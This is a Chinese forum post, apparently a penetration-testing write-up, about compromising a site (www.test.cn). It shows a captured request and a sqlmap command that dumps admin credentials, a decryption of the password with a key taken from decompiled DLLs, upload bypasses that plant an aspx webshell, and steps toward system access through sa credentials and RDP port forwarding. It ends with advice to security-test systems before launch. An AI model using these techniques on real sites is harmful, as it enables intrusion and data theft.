|
0 E7 T2 l& a9 q5 E' z3 f: J! L
注:各位同仁,今天晚上主要防止被限号来凑个数字,这篇文章本来是给一个机构做科普的,所以写的有点怎么说,反正土司的人看了会骂哈哈,大家凑合的看,文中哪怕有那么一点半点东西,能给大家带来启发,那么我这个文章就没白发,所以大佬们轻点喷哈哈,嘴下留情哈哈。 1、POST注入猜解网站管理员账号密码 通过awvs扫描发现存在注入,直接在avws下的Scans---target下点击你扫描的过目标如图:
1 o q; c$ M( G- P; k3 w
; d9 J* H) s8 S" l# l6 `2 H, S$ _8 J" X
9 c. @5 M, B5 d& E: K7 A 5 `8 T! \; `* Z8 v
" D! L, j$ N) S$ F/ z! W. W
然后点vulnerabilities,如图:
2 u; i$ h9 Y7 H8 L2 a 4 p# v' X* [. d. d. {6 u
) n- w. K @8 W2 | 9 s N5 N& h# Q. Z5 K
* K1 }7 l2 G$ e4 b* u/ Q, ^9 ]' w1 q% \. c: S4 W
点SQL injection会看到HTTPS REQUESTS,如图:( r R$ M. ^8 ~+ B5 ^6 ?
4 K- d4 p* K; t( Q! g2 O7 G* t4 ~! F# i( U/ i1 |' b% J: e
( g- [7 V& x! c, K9 o9 ?
& b$ J' L4 b% M* V6 M- M
/ Z3 {5 h& m: i; ~
获取到http的数据包,如下: POST /Product/ProductHandler.ashx HTTP/1.1 Host: www.test.cn Cache-Control: no-cache Accept: text/plain, /; q=0.01 Origin: http://www.test.cn User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.16 Safari/537.36 X-Requested-With: XMLHttpRequest Referer: http://www.test.cn/ Accept-Language: en-us,en;q=0.5 X-Scanner: Netsparker Accept-Encoding: gzip, deflate Content-Length: 157 Content-Type: application/x-www-form-urlencoded; charset=UTF-8
5 n, A+ a K8 G. K0 ` : ^4 I* ~6 M2 ~- z0 U5 ~
/ z! V* o, E* C2 N6 `, N% F
Type=GetProductList&pageIndex=3&pageSize=5&productType=*&supplierType=1 把以上post包保存到sqlmap根目录下,保存为1.txt,注入参数提前用awvs已经识别,注入参数是productType,注入命令为: sqlmap.py -r 1.txt --level 5 --risk 3 -p productType --dbms=mssql -D cci -T Zy_user -C u_loginname,u_loginpassword –dump 此sqlmap命令的意思是读取数据库cci下Zy_user表的用户名密码列名,dump就是保存下来的意思,会保存在./sqlmap/output下,以excel表格的格式保存着下载下来的表的内容。 注入用户名密码加密值如图:
$ K! _7 j. c# N( V6 D2 e0 k* |
) ?; |: y3 i, q: L. }' |" A: A0 I/ ~! Y2 ?3 I% P3 Q2 J8 B
1 s5 \/ @. _$ p5 i
- @0 @: c& G1 F2 }2 S) C. n) e5 `8 ~6 U6 l. J
2、通过对bin目录dll进行反编译解密管理员加密值登录后台 通过前面的sql注入可获取网站后台账号和密码加密值,为了更深入的测试网站后台是否存在其他漏洞,需要黑盒测试模拟黑客攻击进一步测试,故对网站目录bin目录下的dll进行反编译来获取加密密匙,最终成功解密密码。 把bin目录下的dll全部加载到Reflector中,然后通过跟踪常用用户密码相关的类函数,得出如下结果:0 x) n& {: l: b# M! l3 H* @
6 K; M& _! G9 i+ ?
7 m4 t. A# c) ~7 n % a# {* J( p' X/ v* U, _4 T& O
# p3 C" I7 Q$ W8 R
) v: B) I( a' p4 c. b2 o% S+ ]3 L. I
' T* k# G: \* W" p+ G1 K, A" ^ 6 j4 h& O; O' r# C% `
5 V" O6 r% I5 F/ s
得知密钥是fkue且为des加密,接着定位encrypt类函数找出其解密方式如图:
8 ] L. x" T$ ?. |" E / n; Q6 d0 z6 T& V" B7 s& l9 L
0 Q( S2 S0 h: r6 ]5 J1 o9 f. F
7 Y: x2 ?2 P( b
6 ^) }" e8 p4 e
8 l ~9 T6 e- u3 B5 ]' X 解密方式是把fkue使用md5进行加密,然后取32位md5加密值的前8位作为加密密钥,如图:
3 D1 m8 D b$ D6 M- _3 B # H& [/ B$ S. s8 Y
& k* B1 _; r- q& G- ]. B
6 b+ r. `1 h9 S3 }
+ m4 P% U+ p" s& }
6 U. V: I. G! O0 N
通过在线解密网站解密得知加密密钥就是:1110AF03。 前面sql注入步骤已经成功获取admin的加密值,如图:
7 x7 z+ Q4 R5 ` ' p( ~4 G% ]5 `6 P# d, a/ o) b
& H" T! g- e" s* G9 r/ z ' E& q1 J, u0 _9 ]& j
5 f! r: i; @+ M7 |5 j
# V/ y1 @0 U$ z# Z+ L. a( r
解密admin管理员密码如图:% u9 \" Y1 Z0 X; ^: M8 T) R
4 x1 E# f" }# J
/ O% D% ?. I' n) o5 m: k& C5 h- p' L
- ^" z0 t! [" h* F
: h' g/ o! V M- n2 S4 L: }
& o# E2 I$ S9 \% B! H7 O' S 然后用自己写了个解密工具,解密结果和在线网站一致1 Y. c( R9 w, P2 C
4 f1 ^1 r, m& S$ K V8 B4 N" a6 q" b7 p) z! Y
3 p4 P2 | t6 O% v3 c# g3 K2 Y0 @
* v5 ~" L, F5 C( F* O( `; ]1 I" Z. R4 B# n
解密后的密码为:123mhg,./,登陆如图:
- v3 N6 w b+ Y! a) _: k8 x8 p 6 c. O0 s9 Y3 n/ d2 m$ q
0 v7 b3 I! U2 s7 \3 P) d* \
7 s2 T: u5 c0 W" }- i" P+ _
0 _6 Q8 K+ Y1 N( e% x% A/ G
; V2 K4 E# b a8 L; V3 E 3、后台上传绕过漏洞getwebshell如图: 登陆后台后,在添加信息处,会有上传图片的功能,随后使用burpsuite抓包如下图:
7 K5 T( A' ~% s4 m- w 5 M/ v& B' E+ [3 {
4 _; r" {" E- S . E! }. L6 b4 `* S) A" B
* ~) J( R7 a/ T0 k( \9 H) w
. e. G, _; Q( u3 `
1 m4 G; ]; V& @3 J% L
% N$ B5 S/ N3 o; ~8 \5 `1 f, O8 `3 Z2 \: v0 M2 n- y
绕过上传限制,只需要把包里的filename的1.jpg改为1.aspx,即可成功上传webshell,如下图:
; s- g- H* C# |% \8 @. u1 z
# d1 O2 b) H1 c8 E4 F' Z0 o1 M/ m- w# v8 M( K! [+ h3 R! b: ]4 T
& n4 e1 H6 V/ [: K6 T) o \
- e ?% N1 E# ?6 p
5 Q; }+ h" y: g4 Q# e7 X* v 访问webshell如下图:& r0 w. d* L0 r; P x# O
+ P+ a1 j9 @, X8 D. q+ ]9 H$ X3 |
( _+ t% O! n; z+ h' ^; K
! U" u* r, A; X3 E# @- O) D- I* |, t
8 Y$ ~& f) N. L: q: v6 i; O* Y, u! ?- r+ E
4、前台任意上传漏洞getwebshell 在目标站前台有注册账号功能,注册成功后,同样在上传图片处可直接上传webshell,链接为http://www.test.cn/userRegister.aspx,登录如图:
( d- A* @& _, x, U * W9 k+ V3 X8 `% F, U
4 `+ L2 u3 \6 b2 \, e
. e9 T- k; \2 [% Y% w# ] ' x5 P+ n Y' {. k+ {
! y+ B- Q; P% [! v8 L4 I
在上传证件或者头像的处可直接上传aspx 后缀的webshell,上传成功后,点右键-属性,可查看上传后的webshell路径为:http://www.test.cn/Admin/upload/demo.aspx 然后登录如图:+ v5 v2 `; ~. G$ U, x0 m A
; M( V" \8 m1 A
" P5 G0 \# c. n- }" e % Y( b/ e' |1 D1 m7 V! l& C
) i3 \9 z' a/ n5 ^6 l' ]% _2 `1 W. y
通过查看网站路径下的web.config文件得到mssql数据库配置账号为sa的密码并且以windows身份认证配置的系统登录账号密码如图: e0 M$ W R' ~: y4 K; F# B
" A; L8 g8 ~6 a3 U7 H H% U+ ~
# S. u* O6 z) u: D
8 e2 i3 |1 {5 F7 P" V `% X9 E( V, x; i
. w3 d$ }7 O& A
# Z5 U! |3 ?$ S 可直接利用mssql sa权限执行系统命令添加管理员账号密码或者直接利用Windows登录密码webshell下利用lcx内网端口转发登陆3389。# x9 P! ]7 r' w, z) g3 Y
, ?- C) }9 w! P5 `- j) X9 ^0 e
7 N) {6 o; H1 B2 i6 Q- I5 \9 ]4 g 总结:一套程序不应该只考虑其美观与功能强大,是要在满足安全的前提下再同时满足美观与功能。建议各个单位在系统上线之前,条件允许的情况下,首先进行白盒测试,其次进行黑盒测试,再次进行灰盒测试。如果通过白、黑、灰发现安全问题,那么就要再进行一轮这样的测试,直到系统难以被发现安全问题,然后再进行上线。特别是一些政府、企事业单位,数据面涉及基础人口等敏感数据,一旦遭到黑客攻击被泄露,给国家带来的损失是无法挽回的。好了以上就是今天分享的渗透内容,谢谢大家的收看!
4 i8 i, m) M$ l* R/ Q
9 E t( A! ]4 h7 }
# o7 Y7 {7 k& r; O! ^ 5 }) i& U; W' v! g2 W3 `
+ W) F4 P6 u7 H |